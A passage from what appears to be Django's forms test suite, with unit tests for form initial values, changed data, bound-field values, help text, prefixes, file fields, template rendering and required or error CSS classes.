        p = UserRegistration(initial={'username': initial_stephane, 'options': initial_options}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="stephane" maxlength="10" required /></li>
<li>Password: <input type="password" name="password" required /></li>
<li>Options: <select multiple="multiple" name="options" required>
<option value="f" selected="selected">foo</option>
<option value="b" selected="selected">bar</option>
<option value="w">whiz</option>
</select></li>"""
        )

    def test_get_initial_for_field(self):
        class PersonForm(Form):
            first_name = CharField(initial='John')
            last_name = CharField(initial='Doe')
            age = IntegerField()
            occupation = CharField(initial=lambda: 'Unknown')

        form = PersonForm(initial={'first_name': 'Jane'})
        self.assertEqual(form.get_initial_for_field(form.fields['age'], 'age'), None)
        self.assertEqual(form.get_initial_for_field(form.fields['last_name'], 'last_name'), 'Doe')
        # Form.initial overrides Field.initial.
        self.assertEqual(form.get_initial_for_field(form.fields['first_name'], 'first_name'), 'Jane')
        # Callables are evaluated.
        self.assertEqual(form.get_initial_for_field(form.fields['occupation'], 'occupation'), 'Unknown')

    def test_changed_data(self):
        class Person(Form):
            first_name = CharField(initial='Hans')
            last_name = CharField(initial='Greatel')
            birthday = DateField(initial=datetime.date(1974, 8, 16))

        p = Person(data={'first_name': 'Hans', 'last_name': 'Scrmbl', 'birthday': '1974-08-16'})
        self.assertTrue(p.is_valid())
        self.assertNotIn('first_name', p.changed_data)
        self.assertIn('last_name', p.changed_data)
        self.assertNotIn('birthday', p.changed_data)

        # Test that field raising ValidationError is always in changed_data
        class PedanticField(forms.Field):
            def to_python(self, value):
                raise ValidationError('Whatever')

        class Person2(Person):
            pedantic = PedanticField(initial='whatever', show_hidden_initial=True)

        p = Person2(data={
            'first_name': 'Hans', 'last_name': 'Scrmbl', 'birthday': '1974-08-16',
            'initial-pedantic': 'whatever',
        })
        self.assertFalse(p.is_valid())
        self.assertIn('pedantic', p.changed_data)

    def test_boundfield_values(self):
        # It's possible to get to the value which would be used for rendering
        # the widget for a field by using the BoundField's value method.

        class UserRegistration(Form):
            username = CharField(max_length=10, initial='djangonaut')
            password = CharField(widget=PasswordInput)

        unbound = UserRegistration()
        bound = UserRegistration({'password': 'foo'})
        self.assertIsNone(bound['username'].value())
        self.assertEqual(unbound['username'].value(), 'djangonaut')
        self.assertEqual(bound['password'].value(), 'foo')
        self.assertIsNone(unbound['password'].value())

    def test_boundfield_initial_called_once(self):
        """
        Multiple calls to BoundField().value() in an unbound form should return
        the same result each time (#24391).
        """
        class MyForm(Form):
            name = CharField(max_length=10, initial=uuid.uuid4)

        form = MyForm()
        name = form['name']
        self.assertEqual(name.value(), name.value())
        # BoundField is also cached
        self.assertIs(form['name'], name)

    def test_boundfield_value_disabled_callable_initial(self):
        class PersonForm(Form):
            name = CharField(initial=lambda: 'John Doe', disabled=True)

        # Without form data.
        form = PersonForm()
        self.assertEqual(form['name'].value(), 'John Doe')

        # With form data. As the field is disabled, the value should not be
        # affected by the form data.
        form = PersonForm({})
        self.assertEqual(form['name'].value(), 'John Doe')

    def test_boundfield_rendering(self):
        """
        Python 2 issue: Test that rendering a BoundField with bytestring content
        doesn't lose it's safe string status (#22950).
        """
        class CustomWidget(TextInput):
            def render(self, name, value, attrs=None):
                return format_html(str('<input{} required />'), ' id=custom')

        class SampleForm(Form):
            name = CharField(widget=CustomWidget)

        f = SampleForm(data={'name': 'bar'})
        self.assertIsInstance(force_text(f['name']), SafeData)

    def test_custom_boundfield(self):
        class CustomField(CharField):
            def get_bound_field(self, form, name):
                return (form, name)

        class SampleForm(Form):
            name = CustomField()

        f = SampleForm()
        self.assertEqual(f['name'], (f, 'name'))

    def test_initial_datetime_values(self):
        now = datetime.datetime.now()
        # Nix microseconds (since they should be ignored). #22502
        now_no_ms = now.replace(microsecond=0)
        if now == now_no_ms:
            now = now.replace(microsecond=1)

        def delayed_now():
            return now

        def delayed_now_time():
            return now.time()

        class HiddenInputWithoutMicrosec(HiddenInput):
            supports_microseconds = False

        class TextInputWithoutMicrosec(TextInput):
            supports_microseconds = False

        class DateTimeForm(Form):
            auto_timestamp = DateTimeField(initial=delayed_now)
            auto_time_only = TimeField(initial=delayed_now_time)
            supports_microseconds = DateTimeField(initial=delayed_now, widget=TextInput)
            hi_default_microsec = DateTimeField(initial=delayed_now, widget=HiddenInput)
            hi_without_microsec = DateTimeField(initial=delayed_now, widget=HiddenInputWithoutMicrosec)
            ti_without_microsec = DateTimeField(initial=delayed_now, widget=TextInputWithoutMicrosec)

        unbound = DateTimeForm()
        self.assertEqual(unbound['auto_timestamp'].value(), now_no_ms)
        self.assertEqual(unbound['auto_time_only'].value(), now_no_ms.time())
        self.assertEqual(unbound['supports_microseconds'].value(), now)
        self.assertEqual(unbound['hi_default_microsec'].value(), now)
        self.assertEqual(unbound['hi_without_microsec'].value(), now_no_ms)
        self.assertEqual(unbound['ti_without_microsec'].value(), now_no_ms)

    def test_datetime_clean_initial_callable_disabled(self):
        now = datetime.datetime(2006, 10, 25, 14, 30, 45, 123456)

        class DateTimeForm(forms.Form):
            dt = DateTimeField(initial=lambda: now, disabled=True)

        form = DateTimeForm({})
        self.assertEqual(form.errors, {})
        self.assertEqual(form.cleaned_data, {'dt': now})

    def test_datetime_changed_data_callable_with_microseconds(self):
        class DateTimeForm(forms.Form):
            dt = DateTimeField(initial=lambda: datetime.datetime(2006, 10, 25, 14, 30, 45, 123456), disabled=True)

        form = DateTimeForm({'dt': '2006-10-25 14:30:45'})
        self.assertEqual(form.changed_data, [])

    def test_help_text(self):
        # You can specify descriptive text for a field by using the 'help_text' argument)
        class UserRegistration(Form):
            username = CharField(max_length=10, help_text='e.g., user@example.com')
            password = CharField(widget=PasswordInput, help_text='Wählen Sie mit Bedacht.')

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" maxlength="10" required />
<span class="helptext">e.g., user@example.com</span></li>
<li>Password: <input type="password" name="password" required />
<span class="helptext">Wählen Sie mit Bedacht.</span></li>"""
        )
        self.assertHTMLEqual(
            p.as_p(),
            """<p>Username: <input type="text" name="username" maxlength="10" required />
<span class="helptext">e.g., user@example.com</span></p>
<p>Password: <input type="password" name="password" required />
<span class="helptext">Wählen Sie mit Bedacht.</span></p>"""
        )
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><th>Username:</th><td><input type="text" name="username" maxlength="10" required /><br />
<span class="helptext">e.g., user@example.com</span></td></tr>
<tr><th>Password:</th><td><input type="password" name="password" required /><br />
<span class="helptext">Wählen Sie mit Bedacht.</span></td></tr>"""
        )

        # The help text is displayed whether or not data is provided for the form.
        p = UserRegistration({'username': 'foo'}, auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" value="foo" maxlength="10" required />
<span class="helptext">e.g., user@example.com</span></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
Password: <input type="password" name="password" required />
<span class="helptext">Wählen Sie mit Bedacht.</span></li>"""
        )

        # help_text is not displayed for hidden fields. It can be used for documentation
        # purposes, though.
        class UserRegistration(Form):
            username = CharField(max_length=10, help_text='e.g., user@example.com')
            password = CharField(widget=PasswordInput)
            next = CharField(widget=HiddenInput, initial='/', help_text='Redirect destination')

        p = UserRegistration(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>Username: <input type="text" name="username" maxlength="10" required />
<span class="helptext">e.g., user@example.com</span></li>
<li>Password: <input type="password" name="password" required />
<input type="hidden" name="next" value="/" /></li>"""
        )

    def test_subclassing_forms(self):
        # You can subclass a Form to add fields. The resulting form subclass will have
        # all of the fields of the parent Form, plus whichever fields you define in the
        # subclass.
        class Person(Form):
            first_name = CharField()
            last_name = CharField()
            birthday = DateField()

        class Musician(Person):
            instrument = CharField()

        p = Person(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>First name: <input type="text" name="first_name" required /></li>
<li>Last name: <input type="text" name="last_name" required /></li>
<li>Birthday: <input type="text" name="birthday" required /></li>"""
        )
        m = Musician(auto_id=False)
        self.assertHTMLEqual(
            m.as_ul(),
            """<li>First name: <input type="text" name="first_name" required /></li>
<li>Last name: <input type="text" name="last_name" required /></li>
<li>Birthday: <input type="text" name="birthday" required /></li>
<li>Instrument: <input type="text" name="instrument" required /></li>"""
        )

        # Yes, you can subclass multiple forms. The fields are added in the order in
        # which the parent classes are listed.
        class Person(Form):
            first_name = CharField()
            last_name = CharField()
            birthday = DateField()

        class Instrument(Form):
            instrument = CharField()

        class Beatle(Person, Instrument):
            haircut_type = CharField()

        b = Beatle(auto_id=False)
        self.assertHTMLEqual(b.as_ul(), """<li>Instrument: <input type="text" name="instrument" required /></li>
<li>First name: <input type="text" name="first_name" required /></li>
<li>Last name: <input type="text" name="last_name" required /></li>
<li>Birthday: <input type="text" name="birthday" required /></li>
<li>Haircut type: <input type="text" name="haircut_type" required /></li>""")

    def test_forms_with_prefixes(self):
        # Sometimes it's necessary to have multiple forms display on the same HTML page,
        # or multiple copies of the same form. We can accomplish this with form prefixes.
        # Pass the keyword argument 'prefix' to the Form constructor to use this feature.
        # This value will be prepended to each HTML form field name. One way to think
        # about this is "namespaces for HTML forms". Notice that in the data argument,
        # each field's key has the prefix, in this case 'person1', prepended to the
        # actual field name.
        class Person(Form):
            first_name = CharField()
            last_name = CharField()
            birthday = DateField()

        data = {
            'person1-first_name': 'John',
            'person1-last_name': 'Lennon',
            'person1-birthday': '1940-10-9'
        }
        p = Person(data, prefix='person1')
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><label for="id_person1-first_name">First name:</label>
<input type="text" name="person1-first_name" value="John" id="id_person1-first_name" required /></li>
<li><label for="id_person1-last_name">Last name:</label>
<input type="text" name="person1-last_name" value="Lennon" id="id_person1-last_name" required /></li>
<li><label for="id_person1-birthday">Birthday:</label>
<input type="text" name="person1-birthday" value="1940-10-9" id="id_person1-birthday" required /></li>"""
        )
        self.assertHTMLEqual(
            str(p['first_name']),
            '<input type="text" name="person1-first_name" value="John" id="id_person1-first_name" required />'
        )
        self.assertHTMLEqual(
            str(p['last_name']),
            '<input type="text" name="person1-last_name" value="Lennon" id="id_person1-last_name" required />'
        )
        self.assertHTMLEqual(
            str(p['birthday']),
            '<input type="text" name="person1-birthday" value="1940-10-9" id="id_person1-birthday" required />'
        )
        self.assertEqual(p.errors, {})
        self.assertTrue(p.is_valid())
        self.assertEqual(p.cleaned_data['first_name'], 'John')
        self.assertEqual(p.cleaned_data['last_name'], 'Lennon')
        self.assertEqual(p.cleaned_data['birthday'], datetime.date(1940, 10, 9))

        # Let's try submitting some bad data to make sure form.errors and field.errors
        # work as expected.
        data = {
            'person1-first_name': '',
            'person1-last_name': '',
            'person1-birthday': ''
        }
        p = Person(data, prefix='person1')
        self.assertEqual(p.errors['first_name'], ['This field is required.'])
        self.assertEqual(p.errors['last_name'], ['This field is required.'])
        self.assertEqual(p.errors['birthday'], ['This field is required.'])
        self.assertEqual(p['first_name'].errors, ['This field is required.'])
        # Accessing a nonexistent field.
        with self.assertRaises(KeyError):
            p['person1-first_name'].errors

        # In this example, the data doesn't have a prefix, but the form requires it, so
        # the form doesn't "see" the fields.
        data = {
            'first_name': 'John',
            'last_name': 'Lennon',
            'birthday': '1940-10-9'
        }
        p = Person(data, prefix='person1')
        self.assertEqual(p.errors['first_name'], ['This field is required.'])
        self.assertEqual(p.errors['last_name'], ['This field is required.'])
        self.assertEqual(p.errors['birthday'], ['This field is required.'])

        # With prefixes, a single data dictionary can hold data for multiple instances
        # of the same form.
        data = {
            'person1-first_name': 'John',
            'person1-last_name': 'Lennon',
            'person1-birthday': '1940-10-9',
            'person2-first_name': 'Jim',
            'person2-last_name': 'Morrison',
            'person2-birthday': '1943-12-8'
        }
        p1 = Person(data, prefix='person1')
        self.assertTrue(p1.is_valid())
        self.assertEqual(p1.cleaned_data['first_name'], 'John')
        self.assertEqual(p1.cleaned_data['last_name'], 'Lennon')
        self.assertEqual(p1.cleaned_data['birthday'], datetime.date(1940, 10, 9))
        p2 = Person(data, prefix='person2')
        self.assertTrue(p2.is_valid())
        self.assertEqual(p2.cleaned_data['first_name'], 'Jim')
        self.assertEqual(p2.cleaned_data['last_name'], 'Morrison')
        self.assertEqual(p2.cleaned_data['birthday'], datetime.date(1943, 12, 8))

        # By default, forms append a hyphen between the prefix and the field name, but a
        # form can alter that behavior by implementing the add_prefix() method. This
        # method takes a field name and returns the prefixed field, according to
        # self.prefix.
        class Person(Form):
            first_name = CharField()
            last_name = CharField()
            birthday = DateField()

            def add_prefix(self, field_name):
                return '%s-prefix-%s' % (self.prefix, field_name) if self.prefix else field_name

        p = Person(prefix='foo')
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><label for="id_foo-prefix-first_name">First name:</label>
<input type="text" name="foo-prefix-first_name" id="id_foo-prefix-first_name" required /></li>
<li><label for="id_foo-prefix-last_name">Last name:</label>
<input type="text" name="foo-prefix-last_name" id="id_foo-prefix-last_name" required /></li>
<li><label for="id_foo-prefix-birthday">Birthday:</label>
<input type="text" name="foo-prefix-birthday" id="id_foo-prefix-birthday" required /></li>"""
        )
        data = {
            'foo-prefix-first_name': 'John',
            'foo-prefix-last_name': 'Lennon',
            'foo-prefix-birthday': '1940-10-9'
        }
        p = Person(data, prefix='foo')
        self.assertTrue(p.is_valid())
        self.assertEqual(p.cleaned_data['first_name'], 'John')
        self.assertEqual(p.cleaned_data['last_name'], 'Lennon')
        self.assertEqual(p.cleaned_data['birthday'], datetime.date(1940, 10, 9))

    def test_class_prefix(self):
        # Prefix can be also specified at the class level.
        class Person(Form):
            first_name = CharField()
            prefix = 'foo'

        p = Person()
        self.assertEqual(p.prefix, 'foo')

        p = Person(prefix='bar')
        self.assertEqual(p.prefix, 'bar')

    def test_forms_with_null_boolean(self):
        # NullBooleanField is a bit of a special case because its presentation (widget)
        # is different than its data. This is handled transparently, though.
        class Person(Form):
            name = CharField()
            is_cool = NullBooleanField()

        p = Person({'name': 'Joe'}, auto_id=False)
        self.assertHTMLEqual(str(p['is_cool']), """<select name="is_cool" required>
<option value="1" selected="selected">Unknown</option>
<option value="2">Yes</option>
<option value="3">No</option>
</select>""")
        p = Person({'name': 'Joe', 'is_cool': '1'}, auto_id=False)
        self.assertHTMLEqual(str(p['is_cool']), """<select name="is_cool" required>
<option value="1" selected="selected">Unknown</option>
<option value="2">Yes</option>
<option value="3">No</option>
</select>""")
        p = Person({'name': 'Joe', 'is_cool': '2'}, auto_id=False)
        self.assertHTMLEqual(str(p['is_cool']), """<select name="is_cool" required>
<option value="1">Unknown</option>
<option value="2" selected="selected">Yes</option>
<option value="3">No</option>
</select>""")
        p = Person({'name': 'Joe', 'is_cool': '3'}, auto_id=False)
        self.assertHTMLEqual(str(p['is_cool']), """<select name="is_cool" required>
<option value="1">Unknown</option>
<option value="2">Yes</option>
<option value="3" selected="selected">No</option>
</select>""")
        p = Person({'name': 'Joe', 'is_cool': True}, auto_id=False)
        self.assertHTMLEqual(str(p['is_cool']), """<select name="is_cool" required>
<option value="1">Unknown</option>
<option value="2" selected="selected">Yes</option>
<option value="3">No</option>
</select>""")
        p = Person({'name': 'Joe', 'is_cool': False}, auto_id=False)
        self.assertHTMLEqual(str(p['is_cool']), """<select name="is_cool" required>
<option value="1">Unknown</option>
<option value="2">Yes</option>
<option value="3" selected="selected">No</option>
</select>""")

    def test_forms_with_file_fields(self):
        # FileFields are a special case because they take their data from the request.FILES,
        # not request.POST.
        class FileForm(Form):
            file1 = FileField()

        f = FileForm(auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            '<tr><th>File1:</th><td><input type="file" name="file1" required /></td></tr>',
        )

        f = FileForm(data={}, files={}, auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            '<tr><th>File1:</th><td>'
            '<ul class="errorlist"><li>This field is required.</li></ul>'
            '<input type="file" name="file1" required /></td></tr>'
        )

        f = FileForm(data={}, files={'file1': SimpleUploadedFile('name', b'')}, auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            '<tr><th>File1:</th><td>'
            '<ul class="errorlist"><li>The submitted file is empty.</li></ul>'
            '<input type="file" name="file1" required /></td></tr>'
        )

        f = FileForm(data={}, files={'file1': 'something that is not a file'}, auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            '<tr><th>File1:</th><td>'
            '<ul class="errorlist"><li>No file was submitted. Check the '
            'encoding type on the form.</li></ul>'
            '<input type="file" name="file1" required /></td></tr>'
        )

        f = FileForm(data={}, files={'file1': SimpleUploadedFile('name', b'some content')}, auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            '<tr><th>File1:</th><td><input type="file" name="file1" required /></td></tr>',
        )
        self.assertTrue(f.is_valid())

        file1 = SimpleUploadedFile('我隻氣墊船裝滿晒鱔.txt', 'मेरी मँडराने वाली नाव सर्पमीनों से भरी ह'.encode('utf-8'))
        f = FileForm(data={}, files={'file1': file1}, auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            '<tr><th>File1:</th><td><input type="file" name="file1" required /></td></tr>',
        )

        # A required file field with initial data should not contain the
        # required HTML attribute. The file input is left blank by the user to
        # keep the existing, initial value.
        f = FileForm(initial={'file1': 'resume.txt'}, auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            '<tr><th>File1:</th><td><input type="file" name="file1" /></td></tr>',
        )

    def test_filefield_initial_callable(self):
        class FileForm(forms.Form):
            file1 = forms.FileField(initial=lambda: 'resume.txt')

        f = FileForm({})
        self.assertEqual(f.errors, {})
        self.assertEqual(f.cleaned_data['file1'], 'resume.txt')

    def test_basic_processing_in_view(self):
        class UserRegistration(Form):
            username = CharField(max_length=10)
            password1 = CharField(widget=PasswordInput)
            password2 = CharField(widget=PasswordInput)

            def clean(self):
                if (self.cleaned_data.get('password1') and self.cleaned_data.get('password2') and
                        self.cleaned_data['password1'] != self.cleaned_data['password2']):
                    raise ValidationError('Please make sure your passwords match.')

                return self.cleaned_data

        def my_function(method, post_data):
            if method == 'POST':
                form = UserRegistration(post_data, auto_id=False)
            else:
                form = UserRegistration(auto_id=False)

            if form.is_valid():
                return 'VALID: %r' % sorted(six.iteritems(form.cleaned_data))

            t = Template(
                '<form action="" method="post">\n'
                '<table>\n{{ form }}\n</table>\n<input type="submit" required />\n</form>'
            )
            return t.render(Context({'form': form}))

        # Case 1: GET (an empty form, with no errors).)
        self.assertHTMLEqual(my_function('GET', {}), """<form action="" method="post">
<table>
<tr><th>Username:</th><td><input type="text" name="username" maxlength="10" required /></td></tr>
<tr><th>Password1:</th><td><input type="password" name="password1" required /></td></tr>
<tr><th>Password2:</th><td><input type="password" name="password2" required /></td></tr>
</table>
<input type="submit" required />
</form>""")
        # Case 2: POST with erroneous data (a redisplayed form, with errors).)
        self.assertHTMLEqual(
            my_function('POST', {'username': 'this-is-a-long-username', 'password1': 'foo', 'password2': 'bar'}),
            """<form action="" method="post">
<table>
<tr><td colspan="2"><ul class="errorlist nonfield"><li>Please make sure your passwords match.</li></ul></td></tr>
<tr><th>Username:</th><td><ul class="errorlist">
<li>Ensure this value has at most 10 characters (it has 23).</li></ul>
<input type="text" name="username" value="this-is-a-long-username" maxlength="10" required /></td></tr>
<tr><th>Password1:</th><td><input type="password" name="password1" required /></td></tr>
<tr><th>Password2:</th><td><input type="password" name="password2" required /></td></tr>
</table>
<input type="submit" required />
</form>"""
        )
        # Case 3: POST with valid data (the success message).)
        self.assertEqual(
            my_function('POST', {'username': 'adrian', 'password1': 'secret', 'password2': 'secret'}),
            str_prefix(
                "VALID: [('password1', %(_)s'secret'), ('password2', %(_)s'secret'), ('username', %(_)s'adrian')]"
            )
        )

    def test_templates_with_forms(self):
        class UserRegistration(Form):
            username = CharField(max_length=10, help_text="Good luck picking a username that doesn't already exist.")
            password1 = CharField(widget=PasswordInput)
            password2 = CharField(widget=PasswordInput)

            def clean(self):
                if (self.cleaned_data.get('password1') and self.cleaned_data.get('password2') and
                        self.cleaned_data['password1'] != self.cleaned_data['password2']):
                    raise ValidationError('Please make sure your passwords match.')

                return self.cleaned_data

        # You have full flexibility in displaying form fields in a template. Just pass a
        # Form instance to the template, and use "dot" access to refer to individual
        # fields. Note, however, that this flexibility comes with the responsibility of
        # displaying all the errors, including any that might not be associated with a
        # particular field.
        t = Template('''<form action="">
{{ form.username.errors.as_ul }}<p><label>Your username: {{ form.username }}</label></p>
{{ form.password1.errors.as_ul }}<p><label>Password: {{ form.password1 }}</label></p>
{{ form.password2.errors.as_ul }}<p><label>Password (again): {{ form.password2 }}</label></p>
<input type="submit" required />
</form>''')
        self.assertHTMLEqual(t.render(Context({'form': UserRegistration(auto_id=False)})), """<form action="">
<p><label>Your username: <input type="text" name="username" maxlength="10" required /></label></p>
<p><label>Password: <input type="password" name="password1" required /></label></p>
<p><label>Password (again): <input type="password" name="password2" required /></label></p>
<input type="submit" required />
</form>""")
        self.assertHTMLEqual(
            t.render(Context({'form': UserRegistration({'username': 'django'}, auto_id=False)})),
            """<form action="">
<p><label>Your username: <input type="text" name="username" value="django" maxlength="10" required /></label></p>
<ul class="errorlist"><li>This field is required.</li></ul><p>
<label>Password: <input type="password" name="password1" required /></label></p>
<ul class="errorlist"><li>This field is required.</li></ul>
<p><label>Password (again): <input type="password" name="password2" required /></label></p>
<input type="submit" required />
</form>"""
        )

        # Use form.[field].label to output a field's label. You can specify the label for
        # a field by using the 'label' argument to a Field class. If you don't specify
        # 'label', Django will use the field name with underscores converted to spaces,
        # and the initial letter capitalized.
        t = Template('''<form action="">
<p><label>{{ form.username.label }}: {{ form.username }}</label></p>
<p><label>{{ form.password1.label }}: {{ form.password1 }}</label></p>
<p><label>{{ form.password2.label }}: {{ form.password2 }}</label></p>
<input type="submit" required />
</form>''')
        self.assertHTMLEqual(t.render(Context({'form': UserRegistration(auto_id=False)})), """<form action="">
<p><label>Username: <input type="text" name="username" maxlength="10" required /></label></p>
<p><label>Password1: <input type="password" name="password1" required /></label></p>
<p><label>Password2: <input type="password" name="password2" required /></label></p>
<input type="submit" required />
</form>""")

        # User form.[field].label_tag to output a field's label with a <label> tag
        # wrapped around it, but *only* if the given field has an "id" attribute.
        # Recall from above that passing the "auto_id" argument to a Form gives each
        # field an "id" attribute.
        t = Template('''<form action="">
<p>{{ form.username.label_tag }} {{ form.username }}</p>
<p>{{ form.password1.label_tag }} {{ form.password1 }}</p>
<p>{{ form.password2.label_tag }} {{ form.password2 }}</p>
<input type="submit" required />
</form>''')
        self.assertHTMLEqual(t.render(Context({'form': UserRegistration(auto_id=False)})), """<form action="">
<p>Username: <input type="text" name="username" maxlength="10" required /></p>
<p>Password1: <input type="password" name="password1" required /></p>
<p>Password2: <input type="password" name="password2" required /></p>
<input type="submit" required />
</form>""")
        self.assertHTMLEqual(t.render(Context({'form': UserRegistration(auto_id='id_%s')})), """<form action="">
<p><label for="id_username">Username:</label>
<input id="id_username" type="text" name="username" maxlength="10" required /></p>
<p><label for="id_password1">Password1:</label>
<input type="password" name="password1" id="id_password1" required /></p>
<p><label for="id_password2">Password2:</label>
<input type="password" name="password2" id="id_password2" required /></p>
<input type="submit" required />
</form>""")

        # User form.[field].help_text to output a field's help text. If the given field
        # does not have help text, nothing will be output.
        t = Template('''<form action="">
<p>{{ form.username.label_tag }} {{ form.username }}<br />{{ form.username.help_text }}</p>
<p>{{ form.password1.label_tag }} {{ form.password1 }}</p>
<p>{{ form.password2.label_tag }} {{ form.password2 }}</p>
<input type="submit" required />
</form>''')
        self.assertHTMLEqual(
            t.render(Context({'form': UserRegistration(auto_id=False)})),
            """<form action="">
<p>Username: <input type="text" name="username" maxlength="10" required /><br />
Good luck picking a username that doesn&#39;t already exist.</p>
<p>Password1: <input type="password" name="password1" required /></p>
<p>Password2: <input type="password" name="password2" required /></p>
<input type="submit" required />
</form>"""
        )
        self.assertEqual(
            Template('{{ form.password1.help_text }}').render(Context({'form': UserRegistration(auto_id=False)})),
            ''
        )

        # To display the errors that aren't associated with a particular field -- e.g.,
        # the errors caused by Form.clean() -- use {{ form.non_field_errors }} in the
        # template. If used on its own, it is displayed as a <ul> (or an empty string, if
        # the list of errors is empty). You can also use it in {% if %} statements.
        t = Template('''<form action="">
{{ form.username.errors.as_ul }}<p><label>Your username: {{ form.username }}</label></p>
{{ form.password1.errors.as_ul }}<p><label>Password: {{ form.password1 }}</label></p>
{{ form.password2.errors.as_ul }}<p><label>Password (again): {{ form.password2 }}</label></p>
<input type="submit" required />
</form>''')
        self.assertHTMLEqual(
            t.render(Context({
                'form': UserRegistration({'username': 'django', 'password1': 'foo', 'password2': 'bar'}, auto_id=False)
            })),
            """<form action="">
<p><label>Your username: <input type="text" name="username" value="django" maxlength="10" required /></label></p>
<p><label>Password: <input type="password" name="password1" required /></label></p>
<p><label>Password (again): <input type="password" name="password2" required /></label></p>
<input type="submit" required />
</form>"""
        )
        t = Template('''<form action="">
{{ form.non_field_errors }}
{{ form.username.errors.as_ul }}<p><label>Your username: {{ form.username }}</label></p>
{{ form.password1.errors.as_ul }}<p><label>Password: {{ form.password1 }}</label></p>
{{ form.password2.errors.as_ul }}<p><label>Password (again): {{ form.password2 }}</label></p>
<input type="submit" required />
</form>''')
        self.assertHTMLEqual(
            t.render(Context({
                'form': UserRegistration({'username': 'django', 'password1': 'foo', 'password2': 'bar'}, auto_id=False)
            })),
            """<form action="">
<ul class="errorlist nonfield"><li>Please make sure your passwords match.</li></ul>
<p><label>Your username: <input type="text" name="username" value="django" maxlength="10" required /></label></p>
<p><label>Password: <input type="password" name="password1" required /></label></p>
<p><label>Password (again): <input type="password" name="password2" required /></label></p>
<input type="submit" required />
</form>"""
        )

    def test_empty_permitted(self):
        # Sometimes (pretty much in formsets) we want to allow a form to pass validation
        # if it is completely empty. We can accomplish this by using the empty_permitted
        # argument to a form constructor.
        class SongForm(Form):
            artist = CharField()
            name = CharField()

        # First let's show what happens id empty_permitted=False (the default):
        data = {'artist': '', 'song': ''}
        form = SongForm(data, empty_permitted=False)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors, {'name': ['This field is required.'], 'artist': ['This field is required.']})
        self.assertEqual(form.cleaned_data, {})

        # Now let's show what happens when empty_permitted=True and the form is empty.
        form = SongForm(data, empty_permitted=True)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.errors, {})
        self.assertEqual(form.cleaned_data, {})

        # But if we fill in data for one of the fields, the form is no longer empty and
        # the whole thing must pass validation.
        data = {'artist': 'The Doors', 'song': ''}
        form = SongForm(data, empty_permitted=False)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors, {'name': ['This field is required.']})
        self.assertEqual(form.cleaned_data, {'artist': 'The Doors'})

        # If a field is not given in the data then None is returned for its data. Lets
        # make sure that when checking for empty_permitted that None is treated
        # accordingly.
        data = {'artist': None, 'song': ''}
        form = SongForm(data, empty_permitted=True)
        self.assertTrue(form.is_valid())

        # However, we *really* need to be sure we are checking for None as any data in
        # initial that returns False on a boolean call needs to be treated literally.
        class PriceForm(Form):
            amount = FloatField()
            qty = IntegerField()

        data = {'amount': '0.0', 'qty': ''}
        form = PriceForm(data, initial={'amount': 0.0}, empty_permitted=True)
        self.assertTrue(form.is_valid())

    def test_extracting_hidden_and_visible(self):
        class SongForm(Form):
            token = CharField(widget=HiddenInput)
            artist = CharField()
            name = CharField()

        form = SongForm()
        self.assertEqual([f.name for f in form.hidden_fields()], ['token'])
        self.assertEqual([f.name for f in form.visible_fields()], ['artist', 'name'])

    def test_hidden_initial_gets_id(self):
        class MyForm(Form):
            field1 = CharField(max_length=50, show_hidden_initial=True)

        self.assertHTMLEqual(
            MyForm().as_table(),
            '<tr><th><label for="id_field1">Field1:</label></th>'
            '<td><input id="id_field1" type="text" name="field1" maxlength="50" required />'
            '<input type="hidden" name="initial-field1" id="initial-id_field1" /></td></tr>'
        )

    def test_error_html_required_html_classes(self):
        class Person(Form):
            name = CharField()
            is_cool = NullBooleanField()
            email = EmailField(required=False)
            age = IntegerField()

        p = Person({})
        p.error_css_class = 'error'
        p.required_css_class = 'required'

        self.assertHTMLEqual(
            p.as_ul(),
            """<li class="required error"><ul class="errorlist"><li>This field is required.</li></ul>
<label class="required" for="id_name">Name:</label> <input type="text" name="name" id="id_name" required /></li>
<li class="required"><label class="required" for="id_is_cool">Is cool:</label>
<select name="is_cool" id="id_is_cool" required>
<option value="1" selected="selected">Unknown</option>
<option value="2">Yes</option>
<option value="3">No</option>
</select></li>
<li><label for="id_email">Email:</label> <input type="email" name="email" id="id_email" /></li>
<li class="required error"><ul class="errorlist"><li>This field is required.</li></ul>
<label class="required" for="id_age">Age:</label> <input type="number" name="age" id="id_age" required /></li>"""
        )

        self.assertHTMLEqual(
            p.as_p(),
            """<ul class="errorlist"><li>This field is required.</li></ul>
<p class="required error"><label class="required" for="id_name">Name:</label>
<input type="text" name="name" id="id_name" required /></p>
<p class="required"><label class="required" for="id_is_cool">Is cool:</label>
<select name="is_cool" id="id_is_cool" required>
<option value="1" selected="selected">Unknown</option>
<option value="2">Yes</option>
<option value="3">No</option>
</select></p>
<p><label for="id_email">Email:</label> <input type="email" name="email" id="id_email" /></p>
<ul class="errorlist"><li>This field is required.</li></ul>
<p class="required error"><label class="required" for="id_age">Age:</label>
<input type="number" name="age" id="id_age" required /></p>"""
        )

        self.assertHTMLEqual(
            p.as_table(),
            """<tr class="required error">
<th><label class="required" for="id_name">Name:</label></th>
<td><ul class="errorlist"><li>This field is required.</li></ul>
<input type="text" name="name" id="id_name" required /></td></tr>
<tr class="required"><th><label class="required" for="id_is_cool">Is cool:</label></th>
<td><select name="is_cool" id="id_is_cool" required>
<option value="1" selected="selected">Unknown</option>
<option value="2">Yes</option>
<option value="3">No</option>
</select></td></tr>
